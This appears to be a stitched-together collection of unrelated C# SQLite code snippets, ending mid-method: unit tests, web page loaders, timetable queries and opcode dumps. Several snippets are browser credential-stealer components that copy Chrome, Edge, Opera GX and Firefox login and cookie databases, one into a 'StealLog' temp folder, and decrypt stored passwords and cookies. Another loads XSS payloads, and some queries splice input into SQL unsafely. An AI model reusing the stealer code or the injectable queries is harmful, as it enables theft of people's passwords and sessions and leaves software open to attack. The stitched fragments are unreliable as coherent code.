public void TestCaseSensitiveKeyColumn()
{
var path = Path.GetTempFileName();
try
{
var sqlite = new System.Data.SQLite.SQLiteConnection("Data Source=" + path);
sqlite.Open();
var cmd = sqlite.CreateCommand();
cmd.CommandText = "create table test(col_ID integer primary key, name text, shape blob)";
cmd.ExecuteNonQuery();
cmd.Dispose();
sqlite.Close();
sqlite.Dispose();
using (var sq = new ManagedSpatiaLite("Data Source=" + path, "test", "shape", "COL_ID"))
{
var ext = new Envelope();
var ds = new SharpMap.Data.FeatureDataSet();
sq.ExecuteIntersectionQuery(ext, ds);
NUnit.Framework.Assert.AreEqual(0, ds.Tables[0].Count);
}
}
catch (Exception ex)
{
Assert.Fail("Got exception, should not happen");
}
finally
{
File.Delete(path);
}
}
public static void FindOpcodes(string query)
{
var files = System.IO.Directory.GetFiles(@"E:\HFS\WOWDEV\SNIFFS_CLEAN\", "*.sqlite", System.IO.SearchOption.AllDirectories).OrderByDescending(t => t);
foreach (var file in files)
{
using (var con = new System.Data.SQLite.SQLiteConnection("Data Source=" + file))
{
con.Open();
using (var sqlcommand = con.CreateCommand())
{
sqlcommand.CommandText = "select count(*) from packets where opcode in (" + query + ")";
var reader = sqlcommand.ExecuteReader();
while (reader.Read())
{
var found = reader.GetInt32(0);
if (found > 0)
{
System.Diagnostics.Debug.WriteLine(file + "\t" + found);
}
break;
}
}
con.Close();
}
}
}
public void RunSqlite()
{
using (var connection = new System.Data.SQLite.SQLiteConnection("Data Source=:memory:"))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "CREATE TABLE Test(Value);";
cmd.ExecuteNonQuery();
cmd.CommandText = "INSERT INTO Test VALUES(1);";
cmd.ExecuteNonQuery();
}
using (var cmd = connection.CreateCommand())
{
cmd.CommandText =
"SELECT [type], [name], [tbl_name], [rootpage], [sql], [rowid] FROM [main].[sqlite_master] WHERE [type] LIKE 'table'";
using (var dr = cmd.ExecuteReader())
{
while (dr.Read())
{
System.Console.WriteLine(dr[2].ToString());
}
}
}
var databaseReader = new DatabaseSchemaReader.DatabaseReader(connection);
var tableList = databaseReader.TableList();
Assert.IsTrue(tableList.Count > 0);
}
}
private void createDB()
{
db.Open();
var com = db.CreateCommand();
com.CommandText = "CREATE TABLE brewers (id integer primary key AUTOINCREMENT, prefecture text, taxoffice text, licencedate text, registdate text, name text, place text, classification text, item text, type text)";
com.ExecuteNonQuery();
db.Close();
}
public static void DumpOpcodes()
{
var files = System.IO.Directory.GetFiles(@"E:\HFS\WOWDEV\SNIFFS_CLEAN\", "*.sqlite", System.IO.SearchOption.AllDirectories).OrderBy(t => t);
var versionOpcodeList = new System.Collections.Generic.SortedList<uint, ClientBuildCache>();
foreach (var file in files)
{
uint clientBuild = 0;
using (var con = new System.Data.SQLite.SQLiteConnection("Data Source=" + file))
{
con.Open();
using (var sqlcommand = con.CreateCommand())
{
sqlcommand.CommandText = "select key, value from header where key = 'clientBuild'";
var reader = sqlcommand.ExecuteReader();
while (reader.Read())
{
clientBuild = (uint)reader.GetInt32(1);
break;
}
}
if (!versionOpcodeList.ContainsKey(clientBuild))
{
versionOpcodeList.Add(clientBuild, new ClientBuildCache() { ClientBuild = clientBuild, OpcodeList = new List<OpcodeCache>() });
}
var clientBuildOpcodes = versionOpcodeList[clientBuild];
using (var sqlcommand = con.CreateCommand())
{
sqlcommand.CommandText = "select distinct opcode, direction from packets order by opcode , direction";
var reader = sqlcommand.ExecuteReader();
while (reader.Read())
{
var opcode = (uint)reader.GetInt32(0);
var direction = (byte)reader.GetInt32(1);
if (!clientBuildOpcodes.OpcodeList.Exists(t => t.Opcode == opcode && t.Direction == direction))
clientBuildOpcodes.OpcodeList.Add(new OpcodeCache() { Direction = direction, Opcode = opcode });
}
}
con.Close();
}
}
var clientBuildOpcodeList = versionOpcodeList.Select(t => t.Value).ToList();
clientBuildOpcodeList.SaveObject("clientBuildOpcodeList.xml");
}
public void TestCreateBinCentricTables2()
{
DataReaderTests.DataReaderTests.PrintMethodName(System.Reflection.MethodBase.GetCurrentMethod());
var fiSource = new FileInfo(FileRefs.BinCentricTest1);
if (!fiSource.Exists)
{
return;
}
var fiTarget = DuplicateUIMF(fiSource, "_BinCentric2");
if (fiTarget == null)
{
return;
}
using (var uimfReader = new DataReader(fiTarget.FullName))
{
// Note: providing true for parseViaFramework as a workaround for reading SqLite files located on a remote UNC share or in readonly folders
var connectionString = "Data Source = " + fiTarget.FullName;
using (var dbConnection = new System.Data.SQLite.SQLiteConnection(connectionString, true))
{
dbConnection.Open();
using (var dbCommand = dbConnection.CreateCommand())
{
dbCommand.CommandText = "PRAGMA synchronous=0;BEGIN TRANSACTION;";
dbCommand.ExecuteNonQuery();
}
var binCentricTableCreator = new BinCentricTableCreation();
// Attach the events
binCentricTableCreator.OnProgress += BinCentricTableCreator_ProgressEvent;
binCentricTableCreator.Message += BinCentricTableCreator_MessageEvent;
mLastProgressUpdateTime = DateTime.UtcNow;
mLastProgressMessageTime = DateTime.UtcNow;
binCentricTableCreator.CreateBinCentricTable(dbConnection, uimfReader, ".");
using (var dbCommand = dbConnection.CreateCommand())
{
dbCommand.CommandText = "END TRANSACTION;PRAGMA synchronous=1;";
dbCommand.ExecuteNonQuery();
}
dbConnection.Close();
}
}
Console.WriteLine("Added bin centric tables to " + fiTarget.FullName);
}
// void ImageFileReconciliation()
// {
// // This next line creates a list of strings that don't have images. Can be commented out!
// List<string> missingImages = new List<string>();
// // Creates the collection of functional groups.
// foreach (ChemInfo.FunctionalGroup temp in fGroups)
// {
// string filename = imagePath + "FunctionalGroups\\" + temp.Name.ToLower() + ".jpg";
// if (System.IO.File.Exists(filename)) temp.Image = System.Drawing.Image.FromFile(filename);
// //this line adds the missing image to the list of missing images. Can be commented out.
// else missingImages.Add(temp.Name);
// }
// // Writes the missing images to a file.
// // Write the string array to a new file named "WriteLines.txt".
// using (System.IO.StreamWriter outputFile = new System.IO.StreamWriter(documentPath + @"\MissingImages.txt"))
// {
// foreach (string line in missingImages)
// outputFile.WriteLine(line);
// }
// string[] imageFiles = System.IO.Directory.GetFiles(imagePath + "FunctionalGroups\\");
// string[] groupNames = fGroups.FunctionalGroups;
// List<string> extraImages = new List<string>();
// foreach (string name in imageFiles)
// {
// string temp = name.Replace(imagePath + "FunctionalGroups\\", string.Empty);
// temp = temp.Replace(".jpg", string.Empty);
// bool add = true;
// foreach (string gName in groupNames)
// {
// if (temp.ToUpper() == gName.ToUpper()) add = false;
// }
// if (add) extraImages.Add(temp);
// }
// // Write the string array to a new file named "WriteLines.txt".
// using (System.IO.StreamWriter outputFile = new System.IO.StreamWriter(imagePath + "FunctionalGroups\\" + @"\ExtraImages.txt"))
// {
// foreach (string line in extraImages)
// outputFile.WriteLine(line);
// }
// }
//}
// Code from https://stackoverflow.com/questions/20419630/saving-datatable-to-sqlite-database-by-adapter-update
public System.Data.DataTable GetDataTable(string tablename)
{
System.Data.DataTable DT = new System.Data.DataTable();
m_dbConnection.Open();
db_Command = m_dbConnection.CreateCommand();
db_Command.CommandText = string.Format("SELECT * FROM {0}", tablename);
db_Adapter = new System.Data.SQLite.SQLiteDataAdapter(db_Command);
db_Adapter.Fill(DT);
m_dbConnection.Close();
DT.TableName = tablename;
return(DT);
}
public void getModelesModules(object o, System.EventArgs arg)
{
DataSet ds = new DataSet();
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=|DataDirectory|Madera.db"))
{
con.Open();
using (var cmd = con.CreateCommand())
{
modeleMaison.Items.Clear();
string query = "SELECT id_modele_gamme, nom, nb_etage, forme " +
"FROM modele_gamme " +
"WHERE id_gamme = @idGamme;";
cmd.CommandText = query;
cmd.Parameters.AddWithValue("@idGamme", gammeMaison.SelectedValue);
System.Data.SQLite.SQLiteDataAdapter da = new System.Data.SQLite.SQLiteDataAdapter(cmd);
da.Fill(ds);
int i = 0;
while (i < ds.Tables[0].Rows.Count)
{
string id_modele = ds.Tables[0].Rows[i].ItemArray[0].ToString();
string nomModele = ds.Tables[0].Rows[i].ItemArray[1].ToString();
string nbEtagesModele = ds.Tables[0].Rows[i].ItemArray[2].ToString();
string formeModele = ds.Tables[0].Rows[i].ItemArray[3].ToString();
modeleMaison.Items.Add(new ListItem(nomModele + " - " + nbEtagesModele + " étage(s) - " + formeModele, id_modele));
i++;
}
con.Close();
}
}
setEtage(new Object(), new EventArgs());
}
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
DataSet ds = new DataSet();
var connectionString = String.Format("Data Source={0};Version=3;", "./App_Data/Madera.db");
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=|DataDirectory|Madera.db"))
{
con.Open();
using (var cmd = con.CreateCommand())
{
gammeMaison.Items.Clear();
string query = "SELECT nom, id_gamme FROM gamme;";
cmd.CommandText = query;
System.Data.SQLite.SQLiteDataAdapter da = new System.Data.SQLite.SQLiteDataAdapter(cmd);
da.Fill(ds);
int i = 0;
while (i < ds.Tables[0].Rows.Count)
{
string nomGamme = ds.Tables[0].Rows[i].ItemArray[0].ToString();
string id_gamme = ds.Tables[0].Rows[i].ItemArray[1].ToString();
gammeMaison.Items.Add(new ListItem(nomGamme, id_gamme));
i++;
}
getModelesModules(new Object(), new EventArgs());
setEtage(new Object(), new EventArgs());
setPlan(new Object(), new EventArgs());
con.Close();
}
}
}
}
/// <summary>
/// Executes a query inside the SQLiteConnection
/// </summary>
/// <param name="query">SQLCommand to execute</param>
/// <returns>The number of affected rows</returns>
public int ExecuteQuery(string query)
{
var command = Connection.CreateCommand();
command.CommandText = query;
return(command.ExecuteNonQuery());
}
IList <TimeTableModel> GetAllTimeTable()
{
IList <TimeTableModel> timeTable = new List <TimeTableModel>();
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"SELECT * FROM TimeTables";
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
int id = Convert.ToInt32(reader["Id"]);
string day = reader["Day"].ToString();
var classId = reader["ClassId"] == DBNull.Value ? null : (object)reader["ClassId"].ToString();
var subjectId = reader["SubjectId"] == DBNull.Value ? null : (object)reader["SubjectId"].ToString();
ClassModel clazzz = this.GetClassById(classId.ToString());
SubjectModel sub = this.GetSubjectById(subjectId.ToString());
var timetable = new TimeTableModel(id, day, clazzz, sub);
timeTable.Add(timetable);
}
}
}
}
return(timeTable);
}
TimeTableModel GetTimeTableById(int timetableId)
{
TimeTableModel timeTable = null;
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"SELECT * FROM TimeTables WHERE Id =@id";
cmd.Parameters.AddWithValue("@id", timetableId);
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
int id = Convert.ToInt32(reader["Id"]);
string day = reader["Day"].ToString();
var classId = reader["ClassId"] == DBNull.Value ? null : (object)reader["ClassId"].ToString();
var subjectId = reader["SubjectId"] == DBNull.Value ? null : (object)reader["SubjectId"].ToString();
ClassModel clazzz = this.GetClassById(classId.ToString());
SubjectModel sub = this.GetSubjectById(subjectId.ToString());
timeTable = new TimeTableModel(id, day, clazzz, sub);
}
}
}
}
return(timeTable);
}
IList <StudentModel> GetStudentsByClass(string id)
{
IList <StudentModel> list = new List <StudentModel>();
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"SELECT * FROM Students WHERE ClassId = @id";
cmd.Parameters.AddWithValue("@id", id);
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var surname = reader["Surname"].ToString();
var name = reader["Name"].ToString();
var gen = reader["Gender"];
bool gender = Convert.ToBoolean(gen);
var classId = reader["ClassId"] == DBNull.Value ? null : (object)reader["ClassId"].ToString();
ClassModel clazz = this.GetClassById(classId.ToString());
var user = new StudentModel(name, surname, clazz, gender);
list.Add(user);
}
}
}
}
return(list);
}
StudentModel GetStudentByFullName(string fullName)
{
StudentModel user = null;
string[] tab = fullName.Split(new char[] { ' ' });
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"SELECT * FROM Students WHERE (Name = @name AND Surname = @surname)";
cmd.Parameters.AddWithValue("@surname", tab[0]);
cmd.Parameters.AddWithValue("@name", tab[1]);
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var surname = reader["Surname"].ToString();
var name = reader["Name"].ToString();
var gen = reader["Gender"];
bool gender = Convert.ToBoolean(gen);
var classId = reader["ClassId"] == DBNull.Value ? null : (object)reader["ClassId"].ToString();
ClassModel clazz = this.GetClassById(classId.ToString());
user = new StudentModel(name, surname, clazz, gender);
}
}
}
}
return(user);
}
/// <summary>Get system logs.</summary>
public IList <Entities.SystemLog> GetLogs()
{
using (var sqlConnection = new System.Data.SQLite.SQLiteConnection(_sqlConnectionString))
using (var sqlCommand = sqlConnection.CreateCommand()) {
sqlConnection.Open();
sqlCommand.CommandText = "SELECT * FROM SystemLog ORDER BY id ASC;";
using (var sqlReader = sqlCommand.ExecuteReader()) {
var objs1 = new List <Entities.SystemLog>();
while (sqlReader.Read())
{
objs1.Add(new Entities.SystemLog()
{
Id = sqlReader.GetInt32(sqlReader.GetOrdinal("Id")),
DateCreated = sqlReader.GetDateTime(sqlReader.GetOrdinal("DateCreated")),
Thread = sqlReader.GetString(sqlReader.GetOrdinal("Thread")),
Level = sqlReader.GetString(sqlReader.GetOrdinal("Level")),
Logger = sqlReader.GetString(sqlReader.GetOrdinal("Logger")),
Message = sqlReader.GetString(sqlReader.GetOrdinal("Message")),
Exception = sqlReader.GetString(sqlReader.GetOrdinal("Exception"))
});
}
return(objs1);
}
}
}
public static IEnumerable <Tuple <string, string> > ReadCookies(string hostName)
{
var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
if (!System.IO.File.Exists(dbPath))
{
Debug.WriteLine("Folder doesn't exist");
}
else
{
var connectionString = "Data Source=" + dbPath + ";pooling=false";
var conn = new System.Data.SQLite.SQLiteConnection(connectionString);
var cmd = conn.CreateCommand();
var prm = cmd.CreateParameter();
prm.ParameterName = "hostName";
prm.Value = hostName;
cmd.Parameters.Add(prm);
cmd.CommandText = "SELECT name, encrypted_value FROM cookies WHERE host_key = @hostName";
conn.Open();
var reader = cmd.ExecuteReader();
while (reader.Read())
{
var encryptedData = (byte[])reader[1];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
var plainText = Encoding.ASCII.GetString(decodedData);
yield return(Tuple.Create(reader.GetString(0), plainText));
}
conn.Close();
}
}
public List <Cookie> GetAllCookies(byte[] key)
{
List <Cookie> cookies = new List <Cookie>();
if (!CookiesExists())
{
throw new FileNotFoundException("Cant find cookie store", EdgeBrowserCookiePath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
}
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={EdgeBrowserCookiePath};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = $"SELECT name,encrypted_value,host_key FROM cookies";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
cookies.Add(new Cookie()
{
Name = reader.GetString(0),
Value = DecryptWithKey((byte[])reader[1], key, 3),
HostName = reader.GetString(2)
});
}
}
conn.Close();
}
return(cookies);
}
public List <Cookie> GetCookiesByHostname(string hostName)
{
List <Cookie> cookies = new List <Cookie>();
if (hostName == null)
{
throw new ArgumentNullException("hostName"); // throw ArgumentNullException if hostName is null
}
if (!CookiesExists())
{
throw new FileNotFoundException("Cant find cookie store", FirefoxCookiePath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
}
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={FirefoxCookiePath};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = $"SELECT name,value,host FROM moz_cookies WHERE host = '{hostName}'";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
cookies.Add(new Cookie()
{
HostName = reader.GetString(2),
Name = reader.GetString(0),
Value = reader.GetString(1)
});
}
}
conn.Close();
}
return(cookies);
}
public List <Passwords> GetPasswordByHostname(string hostName, byte[] key)
{
List <Passwords> password = new List <Passwords>();
if (hostName == null)
{
throw new ArgumentNullException("hostName"); // throw ArgumentNullException if hostName is null
}
if (!CookiesExists())
{
throw new FileNotFoundException("Cant find cookie store", OperaGXPasswordsPath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
}
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={OperaGXPasswordsPath};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins WHERE origin_url = '{hostName}'";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
password.Add(new Passwords()
{
url = reader.GetString(0),
password = DecryptWithKey((byte[])reader[2], key, 3),
username = reader.GetString(1)
});
}
}
conn.Close();
}
return(password);
}
public static IEnumerable <Tuple <string, string, string> > ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data"))
{
File.Delete(Path.GetTempPath() + @"StealLog\Login Data");
}
File.Copy(dbPath, Path.GetTempPath() + @"StealLog\Login Data");
dbPath = Path.GetTempPath() + @"StealLog\Login Data";
var connectionString = $"Data Source={dbPath}; pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
{
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData,
null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
var plainText = Encoding.ASCII.GetString(decodedData);
yield return(Tuple.Create(reader.GetString(2), reader.GetString(1), plainText));
}
}
conn.Close();
}
}
}
public void CreateFaceFiles(int dirId, string dirname)
{
if (facedir.SubFiles == null)
{
facedir.SubFiles = new List <VFile>();
}
facedir.id = dirId;
facedir.name = dirname;
facedir.SubFiles.Clear();
var cmd = _sqlcon.CreateCommand();
cmd.CommandText = "select NetFileId,PartNo,tn.FaceId as FaceId,Size,Name from [NetFileMappedTable] as tn join [FaceFileTable] as tf on tn.FaceId= tf.FaceId where dirId=@dirId order by FaceId,PartNo";
cmd.Parameters.AddWithValue("@dirId", dirId);
var rd = cmd.ExecuteReader();
var mappedNetFiles = new HashSet <int>();
VFile lastfile = null;
while (rd.Read())
{
//var fff = rd["NetFileId"];
//fff.GetType().
var netfileid = (int)rd["NetFileId"];
var part = (short)rd["PartNo"];
if (part == 0)
{
var f = new VFile()
{
id = (int)rd["FaceId"],
Name = (string)rd["Name"],
Size = (Int64)rd["Size"],
partFile = new Dictionary <int, int>()
{
{ 0, netfileid }
}
};
facedir.SubFiles.Add(f);
lastfile = f;
}
else
{
lastfile.partFile[part] = netfileid;
}
mappedNetFiles.Add(netfileid);
}
//create direct files
foreach (var x in files)
{
if (!mappedNetFiles.Contains(x.Key))
{
var f = new VFile();
f.id = x.Key;
f.Name = x.Value.name;
f.Size = x.Value.size;
f.UploadTime = x.Value.uploadTime.ToString();
facedir.SubFiles.Add(f);
}
}
}
public List <Cookie> GetAllCookies()
{
List <Cookie> cookies = new List <Cookie>();
if (!CookiesExists())
{
throw new FileNotFoundException("Cant find cookie store", FirefoxCookiePath); // throw FileNotFoundException if cookie Path not found
}
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={FirefoxCookiePath};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = $"SELECT name,value,host FROM moz_cookies";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
cookies.Add(new Cookie()
{
HostName = reader.GetString(2),
Name = reader.GetString(0),
Value = reader.GetString(1)
});
}
}
conn.Close();
}
return(cookies);
}
public void TestCaseSensitiveKeyColumn()
{
var path = Path.GetTempFileName();
try
{
var sqlite = new System.Data.SQLite.SQLiteConnection("Data Source=" + path);
sqlite.Open();
var cmd = sqlite.CreateCommand();
cmd.CommandText = "create table test(col_ID integer primary key, name text, shape blob)";
cmd.ExecuteNonQuery();
cmd.Dispose();
sqlite.Close();
sqlite.Dispose();
using (var sq = new ManagedSpatiaLite("Data Source=" + path, "test", "shape", "COL_ID"))
{
var ext = new Envelope();
var ds = new SharpMap.Data.FeatureDataSet();
sq.ExecuteIntersectionQuery(ext, ds);
NUnit.Framework.Assert.AreEqual(0, ds.Tables[0].Count);
}
}
catch (Exception ex)
{
Assert.Fail("Got exception, should not happen");
}
finally
{
File.Delete(path);
}
}
protected void Page_Load(object sender, EventArgs e)
{
DataSet ds = new DataSet();
var connectionString = String.Format("Data Source={0};Version=3;", "./App_Data/Madera.db");
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=|DataDirectory|Madera.db"))
{
con.Open();
using (var cmd = con.CreateCommand())
{
string query = "select id_client, nom, prenom, mail from client;";
cmd.CommandText = query;
System.Data.SQLite.SQLiteDataAdapter da = new System.Data.SQLite.SQLiteDataAdapter(cmd);
da.Fill(ds);
int i = 0;
while (i < ds.Tables[0].Rows.Count)
{
string nom = ds.Tables[0].Rows[i].ItemArray[1].ToString();
string prenom = ds.Tables[0].Rows[i].ItemArray[2].ToString();
string mail = ds.Tables[0].Rows[i].ItemArray[3].ToString();
string id_client = ds.Tables[0].Rows[i].ItemArray[0].ToString();
client.Items.Add(new ListItem(nom + " " + prenom + " : " + mail, id_client));
i++;
}
con.Close();
}
}
}
public static void ReadCredentials(string credPath)
{
string connectionString = "Data Source=" + credPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
string URL = (string)reader[0];
string Username = (string)reader[1];
var encPass = (byte[])reader[2];
var decPass = ProtectedData.Unprotect(encPass, null, DataProtectionScope.CurrentUser);
string Pass = Encoding.ASCII.GetString(decPass);
if (Username != string.Empty && Pass != string.Empty)
{
Console.WriteLine("{0} :: {1} :: {2}", URL, Username, Pass);
}
}
}
conn.Close();
}
}
static public IEnumerable <Tuple <string, string, string> > ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"log\Login Data")) // Если файл по данному пути существует, то удаляем его
{
File.Delete(Path.GetTempPath() + @"log\Login Data");
}
File.Copy(dbPath, Path.GetTempPath() + @"log\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
dbPath = Path.GetTempPath() + @"log\Login Data";
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
var plainText = Encoding.ASCII.GetString(decodedData);
yield return(Tuple.Create(reader.GetString(2), reader.GetString(1), plainText));
}
}
conn.Close();
}
}
/// <summary>
/// 执行sql集
/// </summary>
/// <param name="sqls">要执行sql集</param>
public static void ExecuteNonQuery(string conn, List <string> sqls)
{
using (System.Data.SQLite.SQLiteConnection Conn = new System.Data.SQLite.SQLiteConnection(conn))
{
Conn.Open();
using (System.Data.SQLite.SQLiteTransaction transaction = Conn.BeginTransaction())
{
using (System.Data.SQLite.SQLiteCommand command = Conn.CreateCommand())
{
try
{
foreach (string sql in sqls)
{
command.CommandText = sql;
command.ExecuteNonQuery();
}
transaction.Commit();
}
catch (Exception ex)
{
transaction.Rollback();
throw ex;
}
}
}
Conn.Close();
}
}
public List <Passwords> GetAllPasswords(byte[] key)
{
List <Passwords> password = new List <Passwords>();
if (!PasswordsExists())
{
throw new FileNotFoundException("Cant find password store", EdgeBrowserPasswordsPath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
}
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={EdgeBrowserPasswordsPath};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
password.Add(new Passwords()
{
url = reader.GetString(0),
password = DecryptWithKey((byte[])reader[2], key, 3),
username = reader.GetString(1)
});
}
}
conn.Close();
}
return(password);
}
/// <summary>
/// Главная точка входа для приложения.
/// </summary>
static public IEnumerable <Tuple <string, string, string, string, string> > ReadCookies()
{
var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
if (!System.IO.File.Exists(dbPath))
{
throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);
}
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT name,encrypted_value,host_key,path,expires_utc FROM cookies";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[1];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
var plainText = Encoding.ASCII.GetString(decodedData);
yield return(Tuple.Create(reader[4].ToString(), reader[3].ToString(), reader.GetString(2), reader.GetString(0), plainText));
}
}
conn.Close();
}
}
public IEnumerable <Chromium.Login> GetLogins(byte[] key)
{
List <Chromium.Login> password = new List <Chromium.Login>();
if (!LoginsExist())
{
throw new LoginDatabaseNotFoundException(ChromiumBrowserLoginDataPath); // throw a LoginDatabaseNotFoundException if the Login DB was not found
}
// Copy the database to a temporary location because it could be already in use
string tempFile = GetTempFileName();
File.Copy(ChromiumBrowserLoginDataPath, tempFile);
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = LoginCommandText;
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
password.Add(new Chromium.Login()
{
// Store retrieved information:
OriginUrl = reader.GetString(0),
ActionUrl = reader.GetString(1),
UsernameElement = reader.GetString(2),
UsernameValue = reader.GetString(3),
PasswordElement = reader.GetString(4),
PasswordValue = DecryptWithKey((byte[])reader[5], key, 3),
SubmitElement = reader.GetString(6),
SignonRealm = reader.GetString(7),
DateCreated = reader.GetInt64(8),
IsBlacklistedByUser = reader.GetBoolean(9),
Scheme = reader.GetInt32(10),
PasswordType = reader.GetInt32(11),
TimesUsed = reader.GetInt32(12),
FormData = DecryptWithKey((byte[])reader[13], key, 3),
DisplayName = reader.GetString(14),
IconUrl = reader.GetString(15),
FederationUrl = reader.GetString(16),
SkipZeroClick = reader.GetInt32(17),
GenerationUploadStatus = reader.GetInt32(18),
PossibleUsernamePairs = DecryptWithKey((byte[])reader[19], key, 3),
Id = reader.GetInt32(20),
DateLastUsed = reader.GetInt64(21),
MovingBlockedFor = DecryptWithKey((byte[])reader[22], key, 3),
DatePasswordModified = reader.GetInt64(23),
});
}
}
conn.Close();
}
File.Delete(tempFile);
return(password);
}
public XSSPayloadGenerator()
{
m_strConnStr = "Data Source=payloads.s3db;Version=3;";
m_sqlConn = new System.Data.SQLite.SQLiteConnection(m_strConnStr);
m_sqlConn.Open();
m_sqlCmd = m_sqlConn.CreateCommand();
m_sqlCmd.CommandText = "select teststring from payloads where category=\'XSS\'";
}
public IEnumerable <Chromium.Cookie> GetCookiesBy(Chromium.CookieHeader by, object value, byte[] key)
{
List <Chromium.Cookie> cookies = new List <Chromium.Cookie>();
if (value == null)
{
throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined
}
if (!CookiesExist())
{
throw new CookieDatabaseNotFoundException(ChromiumBrowserCookiePath); // throw a CookieDatabaseNotFoundException if the Cookie DB was not found
}
// Copy the database to a temporary location because it could be already in use
string tempFile = GetTempFileName();
File.Copy(ChromiumBrowserCookiePath, tempFile);
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = $"{CookieCommandText} WHERE {by} = '{value}'";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
// Store retrieved information:
cookies.Add(new Chromium.Cookie()
{
CreationUTC = reader.GetInt64(0),
TopFrameSiteKey = reader.GetString(1),
HostKey = reader.GetString(2),
Name = reader.GetString(3),
Value = reader.GetString(4),
EncryptedValue = DecryptWithKey((byte[])reader[5], key, 3),
Path = reader.GetString(6),
ExpiresUTC = reader.GetInt64(7),
IsSecure = reader.GetBoolean(8),
IsHttpOnly = reader.GetBoolean(9),
LastAccessUTC = reader.GetInt64(10),
HasExpires = reader.GetBoolean(11),
IsPersistent = reader.GetBoolean(12),
Priority = reader.GetInt16(13),
Samesite = reader.GetInt16(14),
SourceScheme = reader.GetInt16(15),
SourcePort = reader.GetInt32(16),
IsSameParty = reader.GetBoolean(17),
});
}
}
conn.Close();
}
File.Delete(tempFile);
return(cookies);
}
private void CreateTasksTableInDatabase()
{
try
{
_dbConnection.Open();
